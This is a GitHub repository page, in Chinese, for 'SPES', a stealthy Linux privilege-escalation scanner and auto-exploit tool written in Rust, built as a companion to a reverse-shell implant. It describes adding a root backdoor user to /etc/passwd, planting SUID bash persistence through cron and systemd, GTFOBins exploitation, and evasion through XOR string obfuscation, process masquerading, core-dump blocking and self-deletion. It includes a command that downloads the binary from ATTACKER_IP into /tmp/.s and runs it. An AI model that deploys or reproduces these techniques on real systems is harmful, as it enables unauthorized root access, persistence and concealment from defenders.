Un-9oon/stealth-privesc

GitHub: Un-9oon/stealth-privesc

一款采用多重隐蔽技术的 Rust 编写 Linux 提权扫描与自动利用工具,专为授权渗透测试和安全研究设计。

Stars: 0 | Forks: 0

# 隐蔽提权扫描器 (SPES) 一款完全规避检测的 Linux 提权侦察与利用工具,使用 Rust 编写,专为受控实验室环境中的**授权安全研究与渗透测试**而设计。 ## 概述 SPES 是 [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell) 植入物的配套工具。它通过编译时字符串混淆、进程伪装和反取证技术维持操作安全性,同时对 Linux 目标执行提权枚举和自动化利用。 ## 功能特性 ### 侦察 (12 个向量) | # | 向量 | 描述 | |---|--------|-------------| | 1 | **内核版本** | 检测易受攻击的内核 —— CVE-2022-0847 (DirtyPipe)、CVE-2024-1086 (nf_tables)、CVE-2023-2640 (OverlayFS) | | 2 | **SUID 二进制文件** | 扫描 8 个目录,交叉比对 120+ 个 GTFOBins | | 3 | **SGID 二进制文件** | 识别 set-group-ID 二进制文件 | | 4 | **Capabilities** | 通过 `getxattr()` 读取 `security.capability` xattrs —— 标记 `cap_setuid`、`cap_sys_admin`、`cap_sys_ptrace`、`cap_dac_override` | | 5 | **可写敏感文件** | 检查 `/etc/passwd`、`/etc/shadow`、`/etc/sudoers`、`/etc/crontab`、`/etc/profile`、`/etc/ld.so.conf` 等 | | 6 | **可写 Cron** | 扫描 `cron.d`、`cron.daily`、`cron.hourly`、`cron.weekly`、`cron.monthly`、spool | | 7 | **可写 Systemd** | 检查 `/etc/systemd/system`、`/usr/lib/systemd/system`、`/lib/systemd/system` | | 8 | **容器用户组** | 检测是否属于 `docker`、`lxd`、`lxc`、`podman` 组 | | 9 | **Sudo 权限** | Fork+exec `sudo -n -l` 以枚举免密 sudo 规则 | | 10 | **PATH 劫持** | 识别 `$PATH` 中的可写目录 | | 11 | **凭据文件** | 检查可读的 SSH 密钥、`.bash_history`、`.pgpass`、`.netrc`,以及 AWS/GCloud/Kube/Docker/Git 凭据 | | 12 | **Root 进程** | 枚举以 UID 0 运行的进程 | ### 自动化利用 (7 个向量) | # | 向量 | 技术 | |---|--------|-----------| | 1 | **可写 /etc/passwd** | 追加 UID 为 0 的后门用户 `svc` | | 2 | **可写 Cron** | 通过 cron 任务植入 SUID bash payload | | 3 | **可写 Systemd** | 创建复制 SUID bash 的 oneshot 服务 | | 4 | **Docker 用户组** | 标记可通过卷挂载实现的容器逃逸 | | 5 | **SUID GTFOBins** | 为 python、bash、find、vim、perl、ruby、tar、strace、gdb、docker、pkexec 自动生成利用命令 | | 6 | **PATH 劫持** | 识别可劫持的 root cron 命令 | | 7 | **LD_PRELOAD** | 检测 sudoers 中的 `env_keep += LD_PRELOAD` | ### 隐蔽性 (6 层) | 层级 | 技术 | |-------|-----------| | **字符串混淆** | 编译时 XOR 编码 (key=0xAB) —— 40+ 个敏感字符串在编译时编码,二进制文件中没有明文路径/命令 | | **进程伪装** | 使用 `PR_SET_NAME` 设置为 `gvfs-udisks2-` (模拟 GNOME VFS daemon) | | **防核心转储** | `RLIMIT_CORE=0`、`PR_SET_DUMPABLE=0` —— 防止内存转储 | | **自删除** | 二进制文件在执行后通过 `/proc/self/exe` 从磁盘自行删除 | | **极简二进制** | `opt-level="z"`、LTO、stripped、`panic="abort"` —— 最终大小为 343KB | | **正常熵值** | 6.31 bits/byte —— 不会触发加壳检测 | ## 用法 ``` # 扫描模式 — 枚举所有 privilege escalation vectors ./spes s # Sudo 检查 — 枚举 passwordless sudo 规则 ./spes u # Auto-exploit — 尝试自动 privilege escalation ./spes e # 完整扫描 — recon + sudo 检查组合 ./spes a ``` ### 输出格式 为了保持隐蔽性,输出使用最简化的编码前缀: | 前缀 | 含义 | |--------|---------| | `+` | 可利用 / 危险的发现 | | `-` | 存在但无法直接利用 | | `+W` | 可写的敏感文件/目录 | | `+R` | 可读的凭据文件 | | `+su` | SUID 利用命令就绪 | | `+pw` | 已植入 /etc/passwd 后门 | | `+cr` | 已植入 Cron 持久化 | | `+sd` | 已植入 Systemd 持久化 | | `+dk` | 可进行 Docker 组逃逸 | | `+ph` | 存在 PATH 劫持机会 | | `+ld` | 可能进行 LD_PRELOAD 注入 | ## 构建 ``` # 安装 Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh # 构建 release (optimized + stripped) cargo build --release # Binary 位置 ls -la target/release/privesc_tool # 验证隐蔽性 — 应返回 0 个 sensitive matches strings target/release/privesc_tool | grep -iEc 'sudo|passwd|shadow|cron|suid|escalat|backdoor' ``` ## 部署 SPES 被设计为一款**即投即用**型工具: ``` # 从攻击者 (通过 reverse shell 获得初始访问权限后) # 上传到目标 curl http://ATTACKER_IP:8080/spes -o /tmp/.s && chmod +x /tmp/.s # 运行扫描 (binary 在执行后自删除) /tmp/.s s # 或 auto-exploit /tmp/.s e ``` 当与 [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell) 配合使用时,植入物可通过其内置的命令通道下载并执行 SPES。 ## 检测分析 ``` $ strings target/release/privesc_tool | grep -ic 'privesc\|privilege\|escalat\|exploit\|backdoor\|payload' 0 $ strings target/release/privesc_tool | grep -ic '/etc/passwd\|/etc/shadow\|sudoers\|crontab' 0 $ strings target/release/privesc_tool | grep -ic 'gtfobin\|suid\|setuid\|capability' 0 ``` **二进制熵值:** 6.31 bits/byte (处于正常范围 —— 不会触发加壳/加密标记) ## MITRE ATT&CK 映射 | 技术 | ID | 描述 | |-----------|-----|-------------| | 发现: 系统信息 | T1082 | 内核版本枚举 | | 发现: 文件和目录 | T1083 | SUID/SGID/capability/可写文件扫描 | | 发现: 权限组 | T1069 | 容器组成员身份检测 | | 发现: 系统所有者/用户 | T1033 | UID/EUID 枚举 | | 提权: SUID/SGID | T1548.001 | 通过 GTFOBins 利用 SUID 二进制文件 | | 提权: Sudo | T1548.003 | Sudo 配置错误滥用 | | 持久化: Cron | T1053.003 | Cron 任务持久化 | | 持久化: Systemd | T1543.002 | Systemd 服务持久化 | | 提权: 容器 | T1611 | Docker/LXD 组逃逸 | | 提权: 路径劫持 | T1574.007 | 对 root cron 任务的 PATH 拦截 | | 提权: LD_PRELOAD | T1574.006 | 通过 sudo 进行共享库注入 | | 防御规避: 混淆 | T1027 | XOR 字符串编码 | | 防御规避: 伪装 | T1036.004 | 进程名欺骗 | | 防御规避: 指标移除 | T1070.004 | 从磁盘自删除 | ## 架构 ``` ┌─────────────────────────────────────┐ │ SPES Binary (343KB) │ │ Process: gvfs-udisks2- │ ├─────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────────────┐ │ │ │ XOR │ │ Anti-Forensics │ │ │ │ Decode │ │ - No core dumps │ │ │ │ Engine │ │ - Self-delete │ │ │ │ (0xAB) │ │ - Masquerade │ │ │ └────┬─────┘ └──────────────────┘ │ │ │ │ │ ┌────▼─────────────────────────┐ │ │ │ Mode Router │ │ │ │ s → Recon (12 vectors) │ │ │ │ e → Auto-exploit (7 vecs) │ │ │ │ u → Sudo enumeration │ │ │ │ a → Full scan (recon+sudo) │ │ │ └──────────────────────────────┘ │ │ │ │ ┌──────────────────────────────┐ │ │ │ GTFOBins Database │ │ │ │ 120+ binaries in 10 XOR │ │ │ │ encoded chunks │ │ │ └──────────────────────────────┘ │ │ │ └─────────────────────────────────────┘ │ stdout (coded output) ▼ Attacker Console ``` ## 实验室环境 构建并测试于: - **攻击者:** Kali Linux (宿主机) - **受害者:** Ubuntu 虚拟机 (VirtualBox) - **网络:** NAT + 仅主机适配器 - **配套工具:** [隐蔽反弹 Shell](https://github.com/Un-9oon/stealth-reverse-shell) ## 许可声明 仅用于教育和授权的安全研究目的。
标签:DNS 解析, Rust, Web报告查看器, 协议分析, 可视化界面, 权限提升, 私有化部署, 网络流量审计, 通知系统, 防御规避